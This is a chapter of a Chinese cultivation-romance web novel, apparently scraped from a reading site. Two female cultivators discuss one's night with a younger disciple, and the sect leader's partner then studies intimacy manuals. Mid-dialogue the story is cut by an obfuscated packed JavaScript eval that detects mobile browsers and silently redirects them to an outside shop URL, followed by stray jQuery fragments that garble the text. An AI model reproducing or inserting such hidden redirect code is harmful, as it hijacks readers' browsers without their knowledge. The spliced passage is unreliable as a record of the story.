146. 准备吃饭
作品:《女主既要又要怎么了》 诗景推开房门,就看到乔海潞生无可恋地坐在那里,头发有些乱糟糟的,看到她的到来立马嚷道:“我的诗景啊,你终于回来了,救救我!”
诗景急忙探查了一下她体内的气息,“看起来并没有受伤啊,为什么你在信中写到‘要死了,做错事了,救我!速回!’”
乔海潞挠挠头,趴在桌子上,放出惊天大雷,“我把谢铭梃睡|了。”
“?”诗景一脸茫然,在脑海里思索了好久这个词,真诚发问:“什么叫,睡|了?是发生夫妻之实那种事情吗?”
乔海潞猛地坐起,点头,“怎么办?我就是那天晚上饮了些果酒,正好他过来给我送糕点,我看他秀色可餐的样子,就,就,哎呀,都是果酒误人。”
诗景坐在她旁边,显然还在消化这件事,呆呆地问:“然后呢?”
“然后?然后他就想确定关系,我,当时脑子特别乱,我就说,要不就算了,大家都是成年修士,这有啥,他就生气了,然后就走了。”乔海潞扶着脑袋回忆。
“那你怎么想的?”诗景问。
“还能咋想啊,当什么事都没发生不行吗?”乔海潞烦躁,“我都把他调来当护法了,这还不够吗?”
诗景想了想,说:“可能他因为喜欢你所以想要个光明正大的名分?你不给,他觉得委屈吧。”
乔海潞问:“那你和邵柏言那事后,心态上有没有什么改变啊?比如说尴尬什么的。”
诗景抿了下唇,又眨了眨眼睛。
乔海潞一看到她那双无辜的大眼睛,用力拍了诗景的大腿,引来她吃痛一声呼喊,“你可别告诉我,你们两个十年了,盖着被子纯睡觉吧?”
诗景抽了一缕肩膀旁的头发放在小拇指上把玩,如实说道:“我好像从来没想过这事,柏言也没提过,我知道这事还是当了掌司后人间事见多了才懂得的。”
乔海潞恨铁不成钢地又拍了下她的大腿,“那么大的美人胚子在前,你居然不为所动。犹豫啥啊,你们都确定关系了,睡到就是赚到。”
诗景将她的手拿开,“乔军师,嘴上说得头头是道的,自己的事情怎么不会了呢。”
乔海潞啪嗒一下就焉了,“和你说不清楚,你都没经历过,怎么能知道我的尴尬。”
诗景嗔怪道:“这和没经历有什么关系,我问你,你对谢铭梃难道没有一丁点男女之间的感情?”
乔海潞搓着手,“我……他年纪比较小嘛。”
“那你还把他调到护法岗位上不就是想再观察观察嘛,说明你的心底本来就有所松软,不然依照你的性子早就有多远避多远了,还会给人家希望嘛。”诗景毫不犹豫地戳穿她。
乔海潞整张脸一下子变得苦兮兮,小声嘀咕:“我这不是还没做好准备嘛。”
“那你打算怎么办?”
乔海潞咬了下唇,“我能说吗?”在诗景眼神示意下,有些不太好意思地继续说:“我觉得除了一开始确实有点不舒服,后面还挺好的,我还想试试,你不准笑我!”
“有什么好笑的,这个话题嘛,其实我很不明白为啥很多人避之不谈,不也是人的本能之一?都是修士了,总得有点改变吧,我觉得不羞耻,既然想那就大大方方去和他谈谈别。”诗景正色道。
“真的嘛?合适吗?”
“合适,身体上的喜欢也很重要不是吗,谁说不是人类喜欢情感的一种。当然,凡事有度。”
乔海潞性子直爽,闻言,果断地说:“好,今晚我就去找他。”
窗外落日余晖撒进来,诗景浅笑了下,“正好我也想试试。”
乔海潞嗅到了一丝不同寻常的气息,用手肘碰了碰诗景的手臂,“我怎么感觉今晚掌门清白不保。”
诗景侧头,眉眼弯弯,“你也说了,美人胚子在怀。”
两人对视一笑。
诗景回到凌锵峰,进到掌门房内,没有人,再往里走,热气升起的白雾弥漫在里房之中,屏风挡住了其身形,只听得水声波动。若是寻常,诗景走到房门,便会离开在外边等待,但今日,诗景走了进去。
“诗景?”邵柏言拿着毛巾擦拭的手一顿,她平日里都不会这般直接进来。
诗景最初确实是想着不管不顾地直接冲进去,脚步却在屏风前顿住了,她心想:既然女孩子洗澡需要隐私,男子应该也要吧?任何性别好像都不应该作为随意侵犯他人隐私的理由。
她停住了脚步,站在屏风前,隔着屏风看向里边若隐若现的身影,应了声:“嗯,是我!”
邵柏言加快手中动作,有些担忧地问她:“这么着急找我可是遇上了什么棘手的事情?”
“没,就是突然想你了。”诗景的话张口就来,邵柏言闻言耳朵一红,快速擦了擦身子,正想出浴桶,看向屏风外的窈窕身影,即便看不见她的脸,他知道她一定在直视着他的方向,“你先转过身去,我要穿衣服了。”
诗景纠结了下,到底还是没选择转身,就这么直勾勾盯着屏风后的身影,有些豁出去地说:“那你穿吧。”在心底默默补充了一句,反正还是要被我脱掉的。
邵柏言想到了些什么,勾了勾嘴角,突然不急了,慢悠悠地从浴桶站起,水声哗啦啦的声音也落在了诗景的心尖上,邵柏言背对着屏风拿架子上的浴巾先将下半部分包起来。
拿着一旁的毛巾,依次擦拭着腰部,肩膀部,背部上的水滴。尽管看不太清,诗景还是能看出屏风后之人宽肩窄腰的轮廓。
诗景笑,一边迈出步伐,越过屏风,一边调侃道:“身为一派掌门,莫不是连速干术都忘得一干二净了。”
察觉到诗景进来,邵柏言转头正好和诗景的眼睛对上,此时此刻那双漂亮的眼眸中除了新奇外还出现了欣赏与难得的欲|望,直白得想把他拆骨入腹。
诗景也是第一次看见他衣袍之下的样子,或许是刚刚沐浴过,此刻他的肌肤真可谓是白里透红,六块腹肌更是恰到好处,多一分少一分都没这么赏心悦目。邵柏言将浴袍穿上,诗景一步步向他走过去,手指落在他的胸|前,轻轻地触碰,一路往下,邵柏言抓住她作乱的手,肯定地说:“下午回来去见了乔海潞吧,她和你说了她的事?”
“什么事?”诗景假装听不明白。
“前两日刚好是派内例行开会的日子,乔长老从不迟到,可那日乔长老破天荒的可是日上三竿才赶到议事厅,巧的是,那天结束之时,正好碰好了同样迎面而来的谢铭梃,两人对视一眼后又快速撇开,那脸红得,把我们几个长老笑得不忍直视。”邵柏言不急不慢地说着,微微前倾身子,带着些蛊惑的声音在她耳畔落下,“怎么,你想学她?”
诗景用另一只手抚摸他的脸颊,“想!”
“想也不给。”
诗景立马扯住他的浴袍,好奇地问:“为什么?”
邵柏言用温柔缱绻的眼神望着诗景,“我不能在你什么都不懂的情况下就对你做那种事,那对你不公平。”
“哦?”诗景调高尾音,扯了扯他的浴袍,上前一步与邵柏言贴得更近,“那柏言想让我懂什么呢?”
邵柏言脸一红,被她的反问一噎,“反正不能在你懵懂无知之时就行此事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208276|186477||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
诗景点点头,“确实是我鲁莽了,没关系,我学习能力不弱,今夜回去我就去翻阅书籍查看,能有什么不懂的。”
邵柏言脑瓜子呆滞了一瞬,不太确定反问:“书籍?哪来的?”
诗景歪头,眨眨眼,不明白他的意思,“人类繁衍生息数千年,难不成连这点记录都没有吗?除了有可能诞生新生命外,总还会有其他事项吧,构造得懂吧,名字得懂吧,原理得懂吧,重要的注意事项也得懂吧。”
邵柏言张了张口,看着她认真的神情,脑子里那些东西瞬间抛之脑后,立马点了点头,“嗯,是我的问题。你说得很有道理,是得懂这些没错!”
诗景接着说:“那我现在就去找相关书籍。”她松开他的浴袍,可能先前她扯得太用力又或者他根本没系好,浴袍下方掉落在地,诗景顺着浴巾的方向看了过去,看到了一些别的什么东西。邵柏言也意识到了什么,立马用上术法把自己包得严严实实的,脸红得不行,不敢再直视她,简单收拾了一下浴桶,步伐匆匆离开了,留下诗景若有所思!
诗景是行动派,说找书就找书,除了医药上的相关书籍,一些已婚女修士还笑眯眯地给她送上了秘籍。
乔海潞第二天看见邵诗景在景言宫书房捧着书籍专注地看着,恹恹地说:“你还在忙掌司处的事啊?大清早就在看书了。”
诗景从书中抬起头,看见她的神情,了然道:“昨晚没谈好?”
“别提了,他根本不愿意见我,我难不成还要当土匪去入室抢劫,装模作样喊一句‘举起手来不准动,我要劫色。’”
诗景被她逗笑,向她招招手,“过来一起看吧。”椅子够大,乔海潞便顺势坐到她身旁,看清书上的内容,本来又恹又困的神情一下子精神了,揉了揉眼睛,看了一眼桌面的医书,又看了一眼诗景手上的书,再看,又看,眨眨眼。惊得不知道从何处问起。“你这是?”
诗景就没这么多弯弯绕绕,“桌面上是医书,我找胡长老借的,这本是他手下女修士给我的,和医书不太一样,你看还有逐步解析图呢。”
乔海潞凑近诗景,看她的脸,不红,又看她的耳廓脖子,都不红,心头大惊,“你,”她斟酌了下用词,忍不住问:“都不害羞嘛?”
“邵柏言说我什么都不懂,那我就学给他看,都这么多年了,居然还敢质疑我学习能力。”
乔海潞难为情地看着她说:“我觉得吧,他可能不是这个意思,但也有可能就是这个意思。算了,我就不在这咬文嚼字了。”
乔海潞正想起身,被诗景按住,“一起看嘛,学好了你再去当土匪别。”
“你还真想让我当土匪啊?”
“不然呢,来,一起研究!”
一个看得如坐针毡,面红耳赤,另一个像是在研究什么典籍似的,满眼认真,还时不时点头。一直翻到最后,乔海潞如释重负舒了一口气,感慨道:“我现在非常理解掌门了,有你这么个土匪在跟前,真的会又爱又恨,嗯~”
诗景拉拉她的衣袖,翻开桌面的书籍,一本正经地问出声:“你那日感受可有感觉到与医书上所说男子那的不同,我昨日看应当是超出这上边所说的数值才是。”
乔海潞抿了抿唇,“那书上不也说了平均嘛,因人而异嘛,超出平均也不奇怪。按这本书说来,谢铭梃那也很优秀了,我也不亏,好像确实可以当个女匪。诶,等等,你昨日看?”乔海潞抓住重点,“你看了?但没睡着?”
“昂。”
乔海潞想了想邵柏言的性格,拍了拍好友的头,了然哦了一声。

